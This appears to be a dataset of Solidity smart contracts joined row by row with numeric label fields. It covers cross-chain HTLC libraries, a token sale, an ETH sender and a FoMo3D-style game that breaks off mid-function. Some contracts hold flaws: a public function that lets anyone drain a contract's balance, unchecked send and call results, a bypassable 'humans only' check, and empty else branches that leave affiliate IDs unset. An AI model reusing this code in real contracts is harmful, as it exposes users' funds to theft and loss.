function getSmgMintQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
function getUserBurnQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
function getSmgBurnQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
function getAsset(uint tokenId, bytes32 storemanGroupId) external view returns (uint asset, uint asset_receivable, uint asset_payable);
function getDebt(uint tokenId, bytes32 storemanGroupId) external view returns (uint debt, uint debt_receivable, uint debt_payable);
function isDebtClean(bytes32 storemanGroupId) external view returns (bool);
}
pragma solidity ^0.4.24;
interface IStoremanGroup {
function getSelectedSmNumber(bytes32 groupId) external view returns(uint number);
function getStoremanGroupConfig(bytes32 id) external view returns(bytes32 groupId, uint8 status, uint deposit, uint chain1, uint chain2, uint curve1, uint curve2, bytes gpk1, bytes gpk2, uint startTime, uint endTime);
function getDeposit(bytes32 id) external view returns(uint);
function getStoremanGroupStatus(bytes32 id) external view returns(uint8 status, uint startTime, uint endTime);
function setGpk(bytes32 groupId, bytes gpk1, bytes gpk2) external;
function setInvalidSm(bytes32 groupId, uint[] indexs, uint8[] slashTypes) external returns(bool isContinue);
function getThresholdByGrpId(bytes32 groupId) external view returns (uint);
function getSelectedSmInfo(bytes32 groupId, uint index) external view returns(address wkAddr, bytes PK, bytes enodeId);
function recordSmSlash(address wk) public;
}
pragma solidity 0.4.26;
interface ITokenManager {
function getTokenPairInfo(uint id) external view
returns (uint origChainID, bytes tokenOrigAccount, uint shadowChainID, bytes tokenShadowAccount);
function getTokenPairInfoSlim(uint id) external view
returns (uint origChainID, bytes tokenOrigAccount, uint shadowChainID);
function getAncestorInfo(uint id) external view
returns (bytes account, string name, string symbol, uint8 decimals, uint chainId);
function mintToken(address tokenAddress, address to, uint value) external;
function burnToken(address tokenAddress, address from, uint value) external;
}
pragma solidity 0.4.26;
interface ISignatureVerifier {
function verify(
uint curveId,
bytes32 signature,
bytes32 groupKeyX,
bytes32 groupKeyY,
bytes32 randomPointX,
bytes32 randomPointY,
bytes32 message
) external returns (bool);
}
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath mul overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath div 0");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath sub b > a");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath add overflow");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath mod 0");
return a % b;
}
}
pragma solidity ^0.4.26;
pragma experimental ABIEncoderV2;
library HTLCTxLib {
using SafeMath for uint;
enum TxStatus {None, Locked, Redeemed, Revoked, AssetLocked, DebtLocked}
struct HTLCUserParams {
bytes32 xHash;
bytes32 smgID;
uint tokenPairID;
uint value;
uint lockFee;
uint lockedTime;
}
struct BaseTx {
bytes32 smgID;
uint lockedTime;
uint beginLockedTime;
TxStatus status;
}
struct UserTx {
BaseTx baseTx;
uint tokenPairID;
uint value;
uint fee;
address userAccount;
}
struct SmgTx {
BaseTx baseTx;
uint tokenPairID;
uint value;
address userAccount;
}
struct DebtTx {
BaseTx baseTx;
bytes32 srcSmgID;
}
struct Data {
mapping(bytes32 => UserTx) mapHashXUserTxs;
mapping(bytes32 => SmgTx) mapHashXSmgTxs;
mapping(bytes32 => DebtTx) mapHashXDebtTxs;
}
function addUserTx(Data storage self, HTLCUserParams memory params)
public
{
UserTx memory userTx = self.mapHashXUserTxs[params.xHash];
require(userTx.baseTx.status == TxStatus.None, "User tx exists");
userTx.baseTx.smgID = params.smgID;
userTx.baseTx.lockedTime = params.lockedTime;
userTx.baseTx.beginLockedTime = now;
userTx.baseTx.status = TxStatus.Locked;
userTx.tokenPairID = params.tokenPairID;
userTx.value = params.value;
userTx.fee = params.lockFee;
userTx.userAccount = msg.sender;
self.mapHashXUserTxs[params.xHash] = userTx;
}
function redeemUserTx(Data storage self, bytes32 x)
external
returns(bytes32 xHash)
{
xHash = sha256(abi.encodePacked(x));
UserTx storage userTx = self.mapHashXUserTxs[xHash];
require(userTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now < userTx.baseTx.beginLockedTime.add(userTx.baseTx.lockedTime), "Redeem timeout");
userTx.baseTx.status = TxStatus.Redeemed;
return xHash;
}
function revokeUserTx(Data storage self, bytes32 xHash)
external
{
UserTx storage userTx = self.mapHashXUserTxs[xHash];
require(userTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now >= userTx.baseTx.beginLockedTime.add(userTx.baseTx.lockedTime), "Revoke is not permitted");
userTx.baseTx.status = TxStatus.Revoked;
}
function getUserTx(Data storage self, bytes32 xHash)
external
view
returns (bytes32, uint, uint, uint, address)
{
UserTx storage userTx = self.mapHashXUserTxs[xHash];
return (userTx.baseTx.smgID, userTx.tokenPairID, userTx.value, userTx.fee, userTx.userAccount);
}
function addSmgTx(Data storage self, bytes32 xHash, bytes32 smgID, uint tokenPairID, uint value, address userAccount, uint lockedTime)
external
{
SmgTx memory smgTx = self.mapHashXSmgTxs[xHash];
require(value != 0, "Value is invalid");
require(smgTx.baseTx.status == TxStatus.None, "Smg tx exists");
smgTx.baseTx.smgID = smgID;
smgTx.baseTx.status = TxStatus.Locked;
smgTx.baseTx.lockedTime = lockedTime;
smgTx.baseTx.beginLockedTime = now;
smgTx.tokenPairID = tokenPairID;
smgTx.value = value;
smgTx.userAccount = userAccount;
self.mapHashXSmgTxs[xHash] = smgTx;
}
function redeemSmgTx(Data storage self, bytes32 x)
external
returns(bytes32 xHash)
{
xHash = sha256(abi.encodePacked(x));
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
require(smgTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now < smgTx.baseTx.beginLockedTime.add(smgTx.baseTx.lockedTime), "Redeem timeout");
smgTx.baseTx.status = TxStatus.Redeemed;
return xHash;
}
function revokeSmgTx(Data storage self, bytes32 xHash)
external
{
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
require(smgTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now >= smgTx.baseTx.beginLockedTime.add(smgTx.baseTx.lockedTime), "Revoke is not permitted");
smgTx.baseTx.status = TxStatus.Revoked;
}
function getSmgTx(Data storage self, bytes32 xHash)
external
view
returns (bytes32, uint, uint, address)
{
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
return (smgTx.baseTx.smgID, smgTx.tokenPairID, smgTx.value, smgTx.userAccount);
}
function addDebtTx(Data storage self, bytes32 xHash, bytes32 srcSmgID, bytes32 destSmgID, uint lockedTime, TxStatus status)
external
{
DebtTx memory debtTx = self.mapHashXDebtTxs[xHash];
require(debtTx.baseTx.status == TxStatus.None, "Debt tx exists");
debtTx.baseTx.smgID = destSmgID;
debtTx.baseTx.status = status;
debtTx.baseTx.lockedTime = lockedTime;
debtTx.baseTx.beginLockedTime = now;
debtTx.srcSmgID = srcSmgID;
self.mapHashXDebtTxs[xHash] = debtTx;
}
function redeemDebtTx(Data storage self, bytes32 x, TxStatus status)
external
returns(bytes32 xHash)
{
xHash = sha256(abi.encodePacked(x));
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
require(debtTx.baseTx.status == status, "Status is not locked");
require(now < debtTx.baseTx.beginLockedTime.add(debtTx.baseTx.lockedTime), "Redeem timeout");
debtTx.baseTx.status = TxStatus.Redeemed;
return xHash;
}
function revokeDebtTx(Data storage self, bytes32 xHash, TxStatus status)
external
{
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
require(debtTx.baseTx.status == status, "Status is not locked");
require(now >= debtTx.baseTx.beginLockedTime.add(debtTx.baseTx.lockedTime), "Revoke is not permitted");
debtTx.baseTx.status = TxStatus.Revoked;
}
function getDebtTx(Data storage self, bytes32 xHash)
external
view
returns (bytes32, bytes32)
{
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
return (debtTx.srcSmgID, debtTx.baseTx.smgID);
}
function getLeftTime(uint endTime) private view returns (uint) {
if (now < endTime) {
return endTime.sub(now);
}
return 0;
}
function getLeftLockedTime(Data storage self, bytes32 xHash)
external
view
returns (uint)
{
UserTx storage userTx = self.mapHashXUserTxs[xHash];
if (userTx.baseTx.status != TxStatus.None) {
return getLeftTime(userTx.baseTx.beginLockedTime.add(userTx.baseTx.lockedTime));
}
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
if (smgTx.baseTx.status != TxStatus.None) {
return getLeftTime(smgTx.baseTx.beginLockedTime.add(smgTx.baseTx.lockedTime));
}
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
if (debtTx.baseTx.status != TxStatus.None) {
return getLeftTime(debtTx.baseTx.beginLockedTime.add(debtTx.baseTx.lockedTime));
}
require(false, 'invalid xHash');
}
}
pragma solidity ^0.4.26;
library RapidityTxLib {
enum TxStatus {None, Redeemed}
struct Data {
mapping(bytes32 => TxStatus) mapTxStatus;
}
function addRapidityTx(Data storage self, bytes32 uniqueID)
internal
{
TxStatus status = self.mapTxStatus[uniqueID];
require(status == TxStatus.None, "Rapidity tx exists");
self.mapTxStatus[uniqueID] = TxStatus.Redeemed;
}
}
pragma solidity ^0.4.26;
library CrossTypes {
using SafeMath for uint;
struct Data {
HTLCTxLib.Data htlcTxData;
RapidityTxLib.Data rapidityTxData;
IQuota quota;
ITokenManager tokenManager;
IStoremanGroup smgAdminProxy;
address smgFeeProxy;
ISignatureVerifier sigVerifier;
mapping(bytes32 => uint) mapStoremanFee;
mapping(uint => mapping(uint =>uint)) mapLockFee;
mapping(uint => mapping(uint =>uint)) mapRevokeFee;
}
function bytesToAddress(bytes b) internal pure returns (address addr) {
assembly {
addr := mload(add(b,20))
}
}
function transfer(address tokenScAddr, address to, uint value)
internal
returns(bool)
{
uint beforeBalance;
uint afterBalance;
beforeBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
tokenScAddr.call(bytes4(keccak256("transfer(address,uint256)")), to, value);
afterBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
return afterBalance == beforeBalance.add(value);
}
function transferFrom(address tokenScAddr, address from, address to, uint value)
internal
returns(bool)
{
uint beforeBalance;
uint afterBalance;
beforeBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
tokenScAddr.call(bytes4(keccak256("transferFrom(address,address,uint256)")), from, to, value);
afterBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
return afterBalance == beforeBalance.add(value);
}
}
pragma solidity ^0.4.26;
library HTLCDebtLib {
struct DebtAssetParams {
bytes32 uniqueID;
bytes32 srcSmgID;
bytes32 destSmgID;
}
event TransferAssetLogger(bytes32 indexed uniqueID, bytes32 indexed srcSmgID, bytes32 indexed destSmgID);
event ReceiveDebtLogger(bytes32 indexed uniqueID, bytes32 indexed srcSmgID, bytes32 indexed destSmgID);
function transferAsset(CrossTypes.Data storage storageData, DebtAssetParams memory params)
public
{
storageData.quota.transferAsset(params.srcSmgID, params.destSmgID);
emit TransferAssetLogger(params.uniqueID, params.srcSmgID, params.destSmgID);
}
function receiveDebt(CrossTypes.Data storage storageData, DebtAssetParams memory params)
public
{
storageData.quota.receiveDebt(params.srcSmgID, params.destSmgID);
emit ReceiveDebtLogger(params.uniqueID, params.srcSmgID, params.destSmgID);
}
} | 0 | 1,664 |
pragma solidity ^0.4.13;
contract CentraSale {
using SafeMath for uint;
address public contract_address = 0x96a65609a7b84e8842732deb08f56c3e21ac6f8a;
address public owner;
uint public cap;
uint public constant cap_max = 170000*10**18;
uint public constant min_value = 10**18*1/10;
uint public operation;
mapping(uint => address) public operation_address;
mapping(uint => uint) public operation_amount;
uint256 public constant token_price = 10**18*1/250;
uint256 public tokens_total;
uint public constant contract_start = 1505844000;
uint public constant contract_finish = 1507269600;
uint public constant card_titanium_minamount = 500*10**18;
uint public constant card_titanium_first = 200;
mapping(address => uint) cards_titanium_check;
address[] public cards_titanium;
uint public constant card_black_minamount = 100*10**18;
uint public constant card_black_first = 500;
mapping(address => uint) public cards_black_check;
address[] public cards_black;
uint public constant card_metal_minamount = 40*10**18;
uint public constant card_metal_first = 750;
mapping(address => uint) cards_metal_check;
address[] public cards_metal;
uint public constant card_gold_minamount = 30*10**18;
uint public constant card_gold_first = 1000;
mapping(address => uint) cards_gold_check;
address[] public cards_gold;
uint public constant card_blue_minamount = 5/10*10**18;
uint public constant card_blue_first = 100000000;
mapping(address => uint) cards_blue_check;
address[] public cards_blue;
uint public constant card_start_minamount = 1/10*10**18;
uint public constant card_start_first = 100000000;
mapping(address => uint) cards_start_check;
address[] public cards_start;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function CentraSale() {
owner = msg.sender;
operation = 0;
cap = 0;
}
function() payable {
if(!(msg.value >= min_value)) throw;
if(now < contract_start) throw;
if(now > contract_finish) throw;
if(cap + msg.value > cap_max) throw;
tokens_total = msg.value*10**18/token_price;
if(!(tokens_total > 0)) throw;
if(!contract_transfer(tokens_total)) throw;
cap = cap.add(msg.value);
operations();
get_card();
owner.send(this.balance);
}
function contract_transfer(uint _amount) private returns (bool) {
if(!contract_address.call(bytes4(sha3("transfer(address,uint256)")),msg.sender,_amount)) {
return false;
}
return true;
}
function operations() private returns (bool) {
operation_address[operation] = msg.sender;
operation_amount[operation] = msg.value;
operation = operation.add(1);
return true;
}
function withdraw() onlyOwner returns (bool result) {
owner.send(this.balance);
return true;
}
function cards_titanium_total() constant returns (uint) {
return cards_titanium.length;
}
function cards_black_total() constant returns (uint) {
return cards_black.length;
}
function cards_metal_total() constant returns (uint) {
return cards_metal.length;
}
function cards_gold_total() constant returns (uint) {
return cards_gold.length;
}
function cards_blue_total() constant returns (uint) {
return cards_blue.length;
}
function cards_start_total() constant returns (uint) {
return cards_start.length;
}
function get_card() private returns (bool) {
if((msg.value >= card_titanium_minamount)
&&(cards_titanium.length < card_titanium_first)
&&(cards_titanium_check[msg.sender] != 1)
) {
cards_titanium.push(msg.sender);
cards_titanium_check[msg.sender] = 1;
}
if((msg.value >= card_black_minamount)
&&(msg.value < card_titanium_minamount)
&&(cards_black.length < card_black_first)
&&(cards_black_check[msg.sender] != 1)
) {
cards_black.push(msg.sender);
cards_black_check[msg.sender] = 1;
}
if((msg.value >= card_metal_minamount)
&&(msg.value < card_black_minamount)
&&(cards_metal.length < card_metal_first)
&&(cards_metal_check[msg.sender] != 1)
) {
cards_metal.push(msg.sender);
cards_metal_check[msg.sender] = 1;
}
if((msg.value >= card_gold_minamount)
&&(msg.value < card_metal_minamount)
&&(cards_gold.length < card_gold_first)
&&(cards_gold_check[msg.sender] != 1)
) {
cards_gold.push(msg.sender);
cards_gold_check[msg.sender] = 1;
}
if((msg.value >= card_blue_minamount)
&&(msg.value < card_gold_minamount)
&&(cards_blue.length < card_blue_first)
&&(cards_blue_check[msg.sender] != 1)
) {
cards_blue.push(msg.sender);
cards_blue_check[msg.sender] = 1;
}
if((msg.value >= card_start_minamount)
&&(msg.value < card_blue_minamount)
&&(cards_start.length < card_start_first)
&&(cards_start_check[msg.sender] != 1)
) {
cards_start.push(msg.sender);
cards_start_check[msg.sender] = 1;
}
return true;
}
}
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
} | 0 | 1,012 |
pragma solidity 0.8.12;
contract EthSend {
IWETH weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
function sendEth(address recipient) public payable {
uint256 length;
assembly {
length := extcodesize(recipient)
}
if (length == 0) {
payable(recipient).call{ value: msg.value }("");
} else {
uint256 amount = msg.value;
weth.deposit{ value: msg.value }();
weth.transfer(recipient, amount);
}
}
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
} | 0 | 1,931 |
pragma solidity ^0.4.24;
contract OuterWithEth {
Inner1WithEth public myInner1 = new Inner1WithEth();
function callSomeFunctionViaOuter() public payable {
myInner1.callSomeFunctionViaInner1.value(msg.value)();
}
}
contract Inner1WithEth {
Inner2WithEth public myInner2 = new Inner2WithEth();
function callSomeFunctionViaInner1() public payable{
myInner2.doSomething.value(msg.value)();
}
}
contract Inner2WithEth {
uint256 someValue;
event SetValue(uint256 val);
function doSomething() public payable {
someValue = block.timestamp;
emit SetValue(someValue);
}
function getAllMoneyOut() public {
msg.sender.transfer(this.balance);
}
} | 0 | 1,150 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents {}
contract FJFoMo3DLong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
address specAddr = 0xF51E57F12ED5d44761d4480633FD6c5632A5B2B1;
string constant public name = "FengJin FoMo3D Long";
string constant public symbol = "FJ3D";
uint256 constant private rndInit_ = 15 days;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
uint256 private pIDxCount;
mapping (address => uint256) public pIDxAddr_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
